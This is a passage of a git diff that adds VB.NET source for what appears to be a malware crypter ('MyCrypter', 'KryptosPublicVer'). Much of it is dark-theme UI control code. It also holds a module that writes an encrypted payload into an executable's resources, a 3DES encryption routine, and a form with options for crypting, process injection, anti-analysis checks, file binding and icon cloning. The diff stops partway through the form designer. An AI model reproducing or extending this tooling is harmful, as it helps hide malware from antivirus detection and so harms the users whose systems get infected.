DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradient(c1, c2, x, y, width, height, 90S) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region +End Class diff --git a/scode (KryptosPublicVer/Theme2.vb b/scode (KryptosPublicVer/Theme2.vb new file mode 100644 index 0000000..5b79eb6 --- /dev/null +++ b/scode (KryptosPublicVer/Theme2.vb @@ -0,0 +1,518 @@ +Imports System.Drawing, System.Drawing.Drawing2D +'Theme +Class CyberTheme + Inherits Theme + + Sub New() + MoveHeight = 24 + BackColor = Color.FromArgb(34, 34, 34) + + SetColor("Back", 25, 25, 25) + SetColor("Gradient1", 35, 35, 35) + SetColor("Gradient2", 20, 20, 20) + SetColor("Border1", 34, 34, 34) + SetColor("Border2", 49, 49, 49) + SetColor("Border3", Color.Black) + SetColor("Line1", Color.Black) + SetColor("Line2", Color.Black) + SetColor("Hatch1", Color.Black) + SetColor("Hatch2", 34, 34, 34) + SetColor("Shade1", 70, Color.Black) + SetColor("Shade2", Color.Transparent) + SetColor("Text", Color.LightBlue) + End Sub + + Private C1, C2, C3, C4, C5 As Color + Private P1, P2, P3, P4, P5 As Pen + Private B1 As HatchBrush + Private B2 As SolidBrush + + Protected Overrides Sub ColorHook() + C1 = GetColor("Back") + C2 = GetColor("Gradient1") + C3 = GetColor("Gradient2") + C4 = GetColor("Shade1") + C5 = GetColor("Shade2") + + P1 = New Pen(GetColor("Border1")) + P2 = New Pen(GetColor("Line1")) + P3 = New Pen(GetColor("Line2")) + P4 = New Pen(GetColor("Border2")) + P5 = New Pen(GetColor("Border3")) + + B1 = New HatchBrush(HatchStyle.DarkUpwardDiagonal, GetColor("Hatch1"), GetColor("Hatch2")) + B2 = New SolidBrush(GetColor("Text")) + + BackColor = C1 + End Sub + + Private RT1 As Rectangle + + Protected Overrides Sub PaintHook() + G.Clear(C1) + + RT1 = New Rectangle(1, 1, Width - 2, 22) + DrawGradient(C2, C3, RT1, 90.0F) + DrawBorders(P1, RT1) + + G.DrawLine(P2, 0, 23, Width, 23) + + DrawBorders(P4, 1, 24, Width - 2, Height - 24) + + DrawText(B2, HorizontalAlignment.Center, 5, 0) + + DrawBorders(P5) + End Sub + +End Class + +'Button +Class CyberButton + Inherits ThemeControl + + Sub New() + SetColor("BackColor", Color.FromArgb(40, 40, 40)) + SetColor("TextColor", Color.LightBlue) + Size = New Size(100, 30) + End Sub + + + Dim C1, T1 As Color + Protected Overrides Sub ColorHook() + C1 = GetColor("BackColor") + T1 = GetColor("TextColor") + End Sub + + + Protected Overrides Sub PaintHook() + G.Clear(C1) + Select Case State + Case 0 + DrawGradient(Color.FromArgb(50, 50, 50), Color.FromArgb(42, 42, 42), ClientRectangle, 90S) + Cursor = Cursors.Arrow + Case 1 + DrawGradient(Color.FromArgb(42, 42, 42), Color.FromArgb(38, 38, 38), ClientRectangle, 90S) + Cursor = Cursors.Arrow + Case 2 + DrawGradient(Color.FromArgb(30, 30, 30), Color.FromArgb(20, 20, 20), ClientRectangle, 90S) + Cursor = Cursors.Arrow + End Select + DrawBorders(New Pen(New SolidBrush(Color.FromArgb(20, 20, 20))), 1) + DrawBorders(New Pen(New SolidBrush(Color.FromArgb(35, 35, 35)))) + DrawCorners(Color.FromArgb(35, 35, 35)) + DrawText(New SolidBrush(T1), HorizontalAlignment.Center, 0, 0) + End Sub +End Class + +'Top Button +Class CyberTopButton + Inherits ThemeControl + + Sub New() + SetColor("BackColor", Color.FromArgb(40, 40, 40)) + SetColor("TextColor", Color.LightBlue) + Size = New Size(35, 22) + LockHeight = 22 + LockWidth = 35 + End Sub + Dim C1, T1 As Color + Protected Overrides Sub ColorHook() + C1 = GetColor("BackColor") + T1 = GetColor("TextColor") + End Sub + Protected Overrides Sub PaintHook() + G.Clear(C1) + Select Case State + Case 0 + DrawGradient(Color.FromArgb(38, 38, 38), Color.FromArgb(30, 30, 30), ClientRectangle, 90S) + Cursor = Cursors.Arrow + Case 1 + DrawGradient(Color.FromArgb(50, 50, 50), Color.FromArgb(42, 42, 42), ClientRectangle, 90S) + Cursor = Cursors.Hand + Case 2 + DrawGradient(Color.FromArgb(42, 42, 42), Color.FromArgb(50, 50, 50), ClientRectangle, 90S) + Cursor = Cursors.Hand + End Select + DrawBorders(New Pen(New SolidBrush(Color.FromArgb(65, 65, 65))), New Rectangle(1, 0, Width - 2, Height)) + DrawBorders(New Pen(New SolidBrush(Color.FromArgb(22, 22, 22)))) + G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(22, 22, 22))), 2, Height - 1, Width - 3, Height - 1) + G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(65, 65, 65))), 0, 1, Width - 1, 1) + G.DrawLine(New Pen(New SolidBrush(Color.Black)), 0, 0, Width, 0) + DrawText(New SolidBrush(T1), HorizontalAlignment.Center, 0, 0) + End Sub +End Class + +'CheckBox +Class CyberCheckBox + Inherits ThemeControl + Private _CheckedState As Boolean + Public Property CheckedState() As Boolean + Get + Return _CheckedState + End Get + Set(ByVal v As Boolean) + _CheckedState = v + Invalidate() + End Set + End Property + Sub New() + Size = New Size(118, 16) + MinimumSize = New Size(16, 16) + MaximumSize = New Size(600, 16) + CheckedState = False + SetColor("CheckBorderOut", Color.FromArgb(25, 25, 25)) + SetColor("CheckBorderIn", Color.FromArgb(59, 59, 59)) + SetColor("TextColor", Color.LightBlue) + SetColor("CheckBack1", Color.FromArgb(132, 192, 240)) + SetColor("CheckBack2", Color.LightBlue) + SetColor("CheckFore1", Color.LightBlue) + SetColor("CheckFore2", Color.FromArgb(42, 242, 77)) + SetColor("ColorUncheck", Color.FromArgb(35, 35, 35)) + SetColor("BackColor", Color.FromArgb(25, 25, 25)) + End Sub + Dim C1, C2, C3, C4, C5, C6, P1, P2, B1 As Color + Protected Overrides Sub ColorHook() + C1 = GetColor("CheckBack1") + C2 = GetColor("CheckBack2") + C3 = GetColor("CheckFore1") + C4 = GetColor("CheckFore2") + C5 = GetColor("ColorUncheck") + C6 = GetColor("BackColor") + P1 = GetColor("CheckBorderOut") + P2 = GetColor("CheckBorderIn") + B1 = GetColor("TextColor") + End Sub + Protected Overrides Sub PaintHook() + G.Clear(C6) + Select Case CheckedState + Case True + DrawGradient(C1, C2, 3, 3, 9, 9, 90S) + DrawGradient(C3, C4, 4, 4, 7, 7, 90S) + Case False + DrawGradient(C5, C5, 0, 0, 15, 15, 90S) + End Select + G.DrawRectangle(New Pen(New SolidBrush(P1)), 0, 0, 14, 14) + G.DrawRectangle(New Pen(New SolidBrush(P2)), 1, 1, 12, 12) + DrawText(New SolidBrush(B1), 17, 0) + DrawCorners(C6, New Rectangle(0, 0, 13, 13)) + End Sub + Sub changeCheck() Handles Me.Click + Select Case CheckedState + Case True + CheckedState = False + Case False + CheckedState = True + End Select + End Sub +End Class + +'ProgressBar +Class CyberProgressBar + Inherits Control + +#Region " Properties " + Private _Maximum As Double = 100 + Public Property Maximum() As Double + Get + Return _Maximum + End Get + Set(ByVal v As Double) + _Maximum = v + Progress = _Current / v * 100 + Invalidate() + End Set + End Property + Private _Current As Double + Public Property Current() As Double + Get + Return _Current + End Get + Set(ByVal v As Double) + _Current = v + Progress = v / _Maximum * 100 + Invalidate() + End Set + End Property + Private _Progress As Integer + Public Property Progress() As Double + Get + Return _Progress + End Get + Set(ByVal v As Double) + If v < 0 Then v = 0 Else If v > 100 Then v = 100 + _Progress = Convert.ToInt32(v) + _Current = v * 0.01 * _Maximum + If Width > 0 Then UpdateProgress() + Invalidate() + End Set + End Property + + Dim C2 As Color = Color.FromArgb(0, 192, 192) 'Dark Color + Public Property Color1() As Color + Get + Return C2 + End Get + Set(ByVal v As Color) + C2 = v + UpdateColors() + Invalidate() + End Set + End Property + Dim C3 As Color = Color.FromArgb(0, 238, 238) 'Light color + Public Property Color2() As Color + Get + Return C3 + End Get + Set(ByVal v As Color) + C3 = v + UpdateColors() + Invalidate() + End Set + End Property + +#End Region + + Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) + End Sub + + Dim G As Graphics, B As Bitmap, R1, R2 As Rectangle, X As ColorBlend + Dim C1 As Color, P1, P2, P3 As Pen, B1, B2 As LinearGradientBrush, B3 As SolidBrush + Sub New() + + C1 = Color.FromArgb(22, 22, 22) 'Background + P1 = New Pen(Color.FromArgb(70, Color.White), 2) + P2 = New Pen(C2) + P3 = New Pen(Color.FromArgb(49, 49, 49)) 'Highlight + B3 = New SolidBrush(Color.FromArgb(100, Color.White)) + X = New ColorBlend(4) + X.Colors = {C2, C3, C3, C2} + X.Positions = {0.0F, 0.1F, 0.9F, 1.0F} + R2 = New Rectangle(2, 2, 2, 2) + B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F) + B2.InterpolationColors = X + + End Sub + + Sub UpdateColors() + P2.Color = C2 + X.Colors = {C2, C3, C3, C2} + B2.InterpolationColors = X + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs) + R1 = New Rectangle(0, 1, Width, 4) + B1 = New LinearGradientBrush(R1, Color.FromArgb(60, Color.Black), Color.Transparent, 90.0F) + UpdateProgress() + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Sub UpdateProgress() + If _Progress = 0 Then Return + R2 = New Rectangle(2, 2, Convert.ToInt32((Width - 4) * (_Progress * 0.01)), Height - 4) + B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F) + B2.InterpolationColors = X + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + + G.Clear(C1) + + G.FillRectangle(B1, R1) + + If _Progress > 0 Then + G.FillRectangle(B2, R2) + + G.FillRectangle(B3, 2, 3, R2.Width, 4) + G.DrawRectangle(P1, 4, 4, R2.Width - 4, Height - 8) + + G.DrawRectangle(P2, 2, 2, R2.Width - 1, Height - 5) + End If + + G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1) + + e.Graphics.DrawImage(B, 0, 0) + G.Dispose() + B.Dispose() + End Sub +End Class + +'Label +Class CyberLabel + Inherits ThemeControl + Sub New() + Size = New Size(73, 16) + MinimumSize = New Size(16, 16) + MaximumSize = New Size(600, 16) + SetColor("TextColor", Color.LightBlue) + SetColor("BackColor", Color.FromArgb(25, 25, 25)) + End Sub + Dim C6, B1 As Color + Protected Overrides Sub ColorHook() + C6 = GetColor("BackColor") + B1 = GetColor("TextColor") + End Sub + Protected Overrides Sub PaintHook() + G.Clear(C6) + DrawText(New SolidBrush(B1), 0, 0) + End Sub +End Class + +'TextBox +Class CyberTextBox + Inherits ThemeControl + Dim WithEvents CyberTextBox As TextBox + Public Sub New() + CyberTextBox = New TextBox + CyberTextBox.Parent = Me + CyberTextBox.Size = New Size(New Point(10, 19)) + CyberTextBox.ForeColor = Color.LightBlue + CyberTextBox.BackColor = Color.FromArgb(30, 30, 30) + CyberTextBox.BorderStyle = BorderStyle.FixedSingle + End Sub + Protected Overrides Sub ColorHook() + End Sub + Protected Overrides Sub PaintHook() + End Sub + Public Property Multilined() As Boolean + Get + Return CyberTextBox.Multiline + End Get + Set(ByVal value As Boolean) + CyberTextBox.Multiline = value + Invalidate() + End Set + End Property + Sub s() Handles Me.Invalidated + If CyberTextBox.Multiline = False Then + Me.MinimumSize = New Size(100, 20) + Me.MaximumSize = New Size(1000, 20) + Else + Me.MinimumSize = New Size(100, 20) + Me.MaximumSize = New Size(1000, 20) + End If + End Sub + Private Sub res() Handles Me.SizeChanged + CyberTextBox.Width = Width + CyberTextBox.Height = Height + End Sub + Private Sub tt() Handles Me.TextChanged + CyberTextBox.Text = Me.Text + End Sub + Private Sub ttt() Handles CyberTextBox.TextChanged + Me.Text = CyberTextBox.Text + End Sub +End Class + +'Seperator +Class CyberSeparator + Inherits Control + + Private _Orientation As Orientation + Public Property Orientation() As Orientation + Get + Return _Orientation + End Get + Set(ByVal v As Orientation) + _Orientation = v + UpdateOffset() + Invalidate() + End Set + End Property + + Dim G As Graphics, B As Bitmap, I As Integer + Dim C1 As Color, P1, P2 As Pen + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) + C1 = Color.FromArgb(25, 25, 25) + P1 = New Pen(Color.LightBlue) + P2 = New Pen(Color.FromArgb(22, 22, 22)) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + UpdateOffset() + MyBase.OnSizeChanged(e) + End Sub + + Sub UpdateOffset() + I = Convert.ToInt32(If(_Orientation = 0, Height / 2 - 1, Width / 2 - 1)) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + + G.Clear(C1) + + If _Orientation = 0 Then + G.DrawLine(P1, 0, I, Width, I) + G.DrawLine(P2, 0, I + 1, Width, I + 1) + Else + G.DrawLine(P2, I, 0, I, Height) + G.DrawLine(P1, I + 1, 0, I + 1, Height) + End If + + e.Graphics.DrawImage(B, 0, 0) + G.Dispose() + B.Dispose() + End Sub + + Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) + End Sub + +End Class + +'GroupBox +Class CyberGroupBox + Inherits Theme + Private C1 As Color + Private C2, C3 As Color + Private P1 As Pen + Private B1 As Brush + Private B2 As Brush + Private B5 As Brush + Private HB1 As Brush + Sub New() + ControlMode = True + Size = New Size(205, 95) + End Sub + + Private _subtext As String + Public Property TextSub() As String + Get + Return _subtext + End Get + Set(ByVal value As String) + _subtext = value + Invalidate() + End Set + End Property + Protected Overrides Sub ColorHook() + C1 = Color.FromArgb(25, 25, 25) + C2 = Color.FromArgb(25, 25, 25) + C3 = Color.FromArgb(0, 0, 0) + P1 = Pens.Black + B1 = New SolidBrush(Color.FromArgb(60, Color.White)) + B2 = New SolidBrush(Color.White) + B5 = New SolidBrush(Color.White) + + End Sub + + Protected Overrides Sub PaintHook() + Dim hb1 As New Drawing2D.HatchBrush(Drawing2D.HatchStyle.Trellis, Color.FromArgb(15, 15, 15)) + Dim hb2 As New Drawing2D.HatchBrush(Drawing2D.HatchStyle.Trellis, Color.FromArgb(35, 35, 35)) + Dim hb3 As New Drawing2D.HatchBrush(Drawing2D.HatchStyle.Trellis, Color.FromArgb(0, 0, 0)) + G.Clear(C1) + G.FillRectangle(New SolidBrush(Color.Transparent), 0, 0, Width, Height) + G.FillRectangle(New SolidBrush(Color.Transparent), 0, 0, Width, 15) + G.DrawRectangle(P1, 0, 0, Width - 1, CInt(Height - 1)) + G.FillRectangle(New SolidBrush(Color.FromArgb(80, 35, 35, 35)), 0, 0, Width, 20) + G.FillRectangle(New SolidBrush(Color.FromArgb(20, 20, 20)), 0, 0, Width - 1, 20) + G.DrawRectangle(P1, 0, 0, Width - 1, 20) + G.DrawString(Text, Font, Brushes.LightBlue, New Point(5, 3)) + Dim SubFont As Font = New Font(DefaultFont.FontFamily, Font.Size - 1) + G.DrawString(_subtext, SubFont, New SolidBrush(Color.FromArgb(48, 48, 48)), New Point(6, 26)) + End Sub +End Class \ No newline at end of file diff --git a/scode (KryptosPublicVer/Write.vb b/scode (KryptosPublicVer/Write.vb new file mode 100644 index 0000000..bda6130 --- /dev/null +++ b/scode (KryptosPublicVer/Write.vb @@ -0,0 +1,40 @@ + +Imports System.Runtime.InteropServices +Module ResourceWriter + Private Function ToPtr(ByVal data As Object) As IntPtr + Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned) + Dim ptr As IntPtr + Try + ptr = h.AddrOfPinnedObject() + Finally + h.Free() + End Try + Return ptr + + End Function + + _ + Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean + End Function + _ + Private Function BeginUpdateResource(ByVal pFileName As String, ByVal bDeleteExistingResources As Boolean) As IntPtr + End Function + _ + Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean + End Function + + Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean + + Try + Dim handle As IntPtr = BeginUpdateResource(filename, False) + Dim file1 As Byte() = bytes + Dim fileptr As IntPtr = ToPtr(file1) + Dim res As Boolean = UpdateResource(handle, "RT_RCDATA", "0", 0, fileptr, Convert.ToUInt32(file1.Length)) + EndUpdateResource(handle, False) + Catch ex As Exception + Return False + End Try + Return True + + End Function +End Module \ No newline at end of file diff --git a/scode (KryptosPublicVer/app.config b/scode (KryptosPublicVer/app.config new file mode 100644 index 0000000..8d4e2b1 --- /dev/null +++ b/scode (KryptosPublicVer/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (MyCrypterzzz/.DS_Store b/scode (MyCrypterzzz/.DS_Store new file mode 100644 index 0000000..508ca22 Binary files /dev/null and b/scode (MyCrypterzzz/.DS_Store differ diff --git a/scode (MyCrypterzzz/.vs/MyCrypter/v14/.suo b/scode (MyCrypterzzz/.vs/MyCrypter/v14/.suo new file mode 100644 index 0000000..28b4069 Binary files /dev/null and b/scode (MyCrypterzzz/.vs/MyCrypter/v14/.suo differ diff --git a/scode (MyCrypterzzz/MyCrypter.sln b/scode (MyCrypterzzz/MyCrypter.sln new file mode 100644 index 0000000..2715ee0 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "MyCrypter", "MyCrypter\MyCrypter.vbproj", "{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}" +EndProject +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "winini", "winini\winini.vbproj", "{431C311C-D462-41B3-8046-6D2EFA480D81}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Debug|Any CPU.Build.0 = Debug|Any CPU + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Release|Any CPU.ActiveCfg = Release|Any CPU + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Release|Any CPU.Build.0 = Release|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Debug|Any CPU.Build.0 = Debug|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Release|Any CPU.ActiveCfg = Release|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (MyCrypterzzz/MyCrypter.suo b/scode (MyCrypterzzz/MyCrypter.suo new file mode 100644 index 0000000..e0f9fc0 Binary files /dev/null and b/scode (MyCrypterzzz/MyCrypter.suo differ diff --git a/scode (MyCrypterzzz/MyCrypter/31.ico b/scode (MyCrypterzzz/MyCrypter/31.ico new file mode 100644 index 0000000..5198cba Binary files /dev/null and b/scode (MyCrypterzzz/MyCrypter/31.ico differ diff --git a/scode (MyCrypterzzz/MyCrypter/3des.vb b/scode (MyCrypterzzz/MyCrypter/3des.vb new file mode 100644 index 0000000..1635f11 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/3des.vb @@ -0,0 +1,26 @@ +Imports System.Text +Imports System.Security.Cryptography + +Public Class _3des + Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt) + + If useHashing Then + Dim hashmd5 As New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(key) + End If + + Dim tdes As New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + + Dim cTransform As ICryptoTransform = tdes.CreateEncryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + + Return Convert.ToBase64String(resultArray, 0, resultArray.Length) + End Function +End Class diff --git a/scode (MyCrypterzzz/MyCrypter/DM-Empty.ico b/scode (MyCrypterzzz/MyCrypter/DM-Empty.ico new file mode 100644 index 0000000..e92476b Binary files /dev/null and b/scode (MyCrypterzzz/MyCrypter/DM-Empty.ico differ diff --git a/scode (MyCrypterzzz/MyCrypter/Form1.Designer.vb b/scode (MyCrypterzzz/MyCrypter/Form1.Designer.vb new file mode 100644 index 0000000..9dc1b89 --- /dev/null +++ b/scode (MyCrypterzzz/MyCrypter/Form1.Designer.vb @@ -0,0 +1,422 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.TextFile = New System.Windows.Forms.TextBox + Me.BtnBrowse = New System.Windows.Forms.Button + Me.BtnCtypt = New System.Windows.Forms.Button + Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog + Me.CheckIcon = New System.Windows.Forms.CheckBox + Me.TextIcon = New System.Windows.Forms.TextBox + Me.BtnIcon = New System.Windows.Forms.Button + Me.CheckClone = New System.Windows.Forms.CheckBox + Me.TextClone = New System.Windows.Forms.TextBox + Me.BtnClone = New System.Windows.Forms.Button + Me.Label1 = New System.Windows.Forms.Label + Me.TextEnc = New System.Windows.Forms.TextBox + Me.Label2 = New System.Windows.Forms.Label + Me.GroupBox1 = New System.Windows.Forms.GroupBox + Me.GroupBox2 = New System.Windows.Forms.GroupBox + Me.CheckDES = New System.Windows.Forms.RadioButton + Me.CheckRC4 = New System.Windows.Forms.RadioButton + Me.GroupBox3 = New System.Windows.Forms.GroupBox + Me.CheckBox1 = New System.Windows.Forms.CheckBox + Me.TextBytes = New System.Windows.Forms.TextBox + Me.CheckBytes = New System.Windows.Forms.CheckBox + Me.TextProc = New System.Windows.Forms.TextBox + Me.CheckInject = New System.Windows.Forms.CheckBox + Me.CheckAntis = New System.Windows.Forms.CheckBox + Me.GroupBox4 = New System.Windows.Forms.GroupBox + Me.BtnBind = New System.Windows.Forms.Button + Me.TextBind = New System.Windows.Forms.TextBox + Me.CheckBind = New System.Windows.Forms.CheckBox + Me.TextBox1 = New System.Windows.Forms.TextBox + Me.GroupBox1.SuspendLayout() + Me.GroupBox2.SuspendLayout() + Me.GroupBox3.SuspendLayout() + Me.GroupBox4.SuspendLayout() + Me.SuspendLayout() + ' + 'TextFile + ' + Me.TextFile.Location = New System.Drawing.Point(23, 53) + Me.TextFile.Name = "TextFile" + Me.TextFile.Size = New System.Drawing.Size(237, 20) + Me.TextFile.TabIndex = 0 + ' + 'BtnBrowse + ' + Me.BtnBrowse.ForeColor = System.Drawing.Color.Black + Me.BtnBrowse.Location = New System.Drawing.Point(274, 53) + Me.BtnBrowse.Name = "BtnBrowse" + Me.BtnBrowse.Size = New System.Drawing.Size(47, 20) + Me.BtnBrowse.TabIndex = 1 + Me.BtnBrowse.Text = "..." + Me.BtnBrowse.UseVisualStyleBackColor = True + ' + 'BtnCtypt + ' + Me.BtnCtypt.Location = New System.Drawing.Point(611, 286) + Me.BtnCtypt.Name = "BtnCtypt" + Me.BtnCtypt.Size = New System.Drawing.Size(77, 50) + Me.BtnCtypt.TabIndex = 2 + Me.BtnCtypt.Text = "Crypt" + Me.BtnCtypt.UseVisualStyleBackColor = True + ' + 'OpenFileDialog1 + ' + Me.OpenFileDialog1.FileName = "OpenFileDialog1" + ' + 'CheckIcon + ' + Me.CheckIcon.AutoSize = True + Me.CheckIcon.BackColor = System.Drawing.Color.Transparent + Me.CheckIcon.ForeColor = System.Drawing.Color.White + Me.CheckIcon.Location = New System.Drawing.Point(21, 92) + Me.CheckIcon.Name = "CheckIcon" + Me.CheckIcon.Size = New System.Drawing.Size(87, 17) + Me.CheckIcon.TabIndex = 4 + Me.CheckIcon.Text = "Change Icon" + Me.CheckIcon.UseVisualStyleBackColor = False + ' + 'TextIcon + ' + Me.TextIcon.Location = New System.Drawing.Point(20, 115) + Me.TextIcon.Name = "TextIcon" + Me.TextIcon.Size = New System.Drawing.Size(237, 20) + Me.TextIcon.TabIndex = 6 + ' + 'BtnIcon + ' + Me.BtnIcon.Enabled = False + Me.BtnIcon.ForeColor = System.Drawing.Color.Black + Me.BtnIcon.Location = New System.Drawing.Point(273, 115) + Me.BtnIcon.Name = "BtnIcon" + Me.BtnIcon.Size = New System.Drawing.Size(45, 19) + Me.BtnIcon.TabIndex = 8 + Me.BtnIcon.Text = "..." + Me.BtnIcon.UseVisualStyleBackColor = True + ' + 'CheckClone + ' + Me.CheckClone.AutoSize = True + Me.CheckClone.BackColor = System.Drawing.Color.Transparent + Me.CheckClone.ForeColor = System.Drawing.Color.White + Me.CheckClone.Location = New System.Drawing.Point(21, 30) + Me.CheckClone.Name = "CheckClone" + Me.CheckClone.Size = New System.Drawing.Size(91, 17) + Me.CheckClone.TabIndex = 10 + Me.CheckClone.Text = "Clone with file" + Me.CheckClone.UseVisualStyleBackColor = False + ' + 'TextClone + ' + Me.TextClone.Location = New System.Drawing.Point(21, 53) + Me.TextClone.Name = "TextClone" + Me.TextClone.Size = New System.Drawing.Size(234, 20) + Me.TextClone.TabIndex = 11 + ' + 'BtnClone + ' + Me.BtnClone.Enabled = False + Me.BtnClone.ForeColor = System.Drawing.Color.Black + Me.BtnClone.Location = New System.Drawing.Point(273, 53) + Me.BtnClone.Name = "BtnClone" + Me.BtnClone.Size = New System.Drawing.Size(46, 19) + Me.BtnClone.TabIndex = 12 + Me.BtnClone.Text = "..." + Me.BtnClone.UseVisualStyleBackColor = True + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.ForeColor = System.Drawing.Color.White + Me.Label1.Location = New System.Drawing.Point(20, 28) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(67, 13) + Me.Label1.TabIndex = 13 + Me.Label1.Text = "File to crypt :" + ' + 'TextEnc + ' + Me.TextEnc.Location = New System.Drawing.Point(120, 53) + Me.TextEnc.Name = "TextEnc" + Me.TextEnc.Size = New System.Drawing.Size(73, 20) + Me.TextEnc.TabIndex = 14 + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.BackColor = System.Drawing.Color.Transparent + Me.Label2.ForeColor = System.Drawing.Color.White + Me.Label2.Location = New System.Drawing.Point(14, 57) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(83, 13) + Me.Label2.TabIndex = 15 + Me.Label2.Text = "Encryption key :" + ' + 'GroupBox1 + ' + Me.GroupBox1.BackColor = System.Drawing.Color.Transparent + Me.GroupBox1.Controls.Add(Me.Label1) + Me.GroupBox1.Controls.Add(Me.TextFile) + Me.GroupBox1.Controls.Add(Me.BtnBrowse) + Me.GroupBox1.ForeColor = System.Drawing.Color.White + Me.GroupBox1.Location = New System.Drawing.Point(12, 12) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(335, 91) + Me.GroupBox1.TabIndex = 18 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "File :" + ' + 'GroupBox2 + ' + Me.GroupBox2.BackColor = System.Drawing.Color.Transparent + Me.GroupBox2.Controls.Add(Me.CheckDES) + Me.GroupBox2.Controls.Add(Me.CheckRC4) + Me.GroupBox2.Controls.Add(Me.TextEnc) + Me.GroupBox2.Controls.Add(Me.Label2) + Me.GroupBox2.ForeColor = System.Drawing.Color.White + Me.GroupBox2.Location = 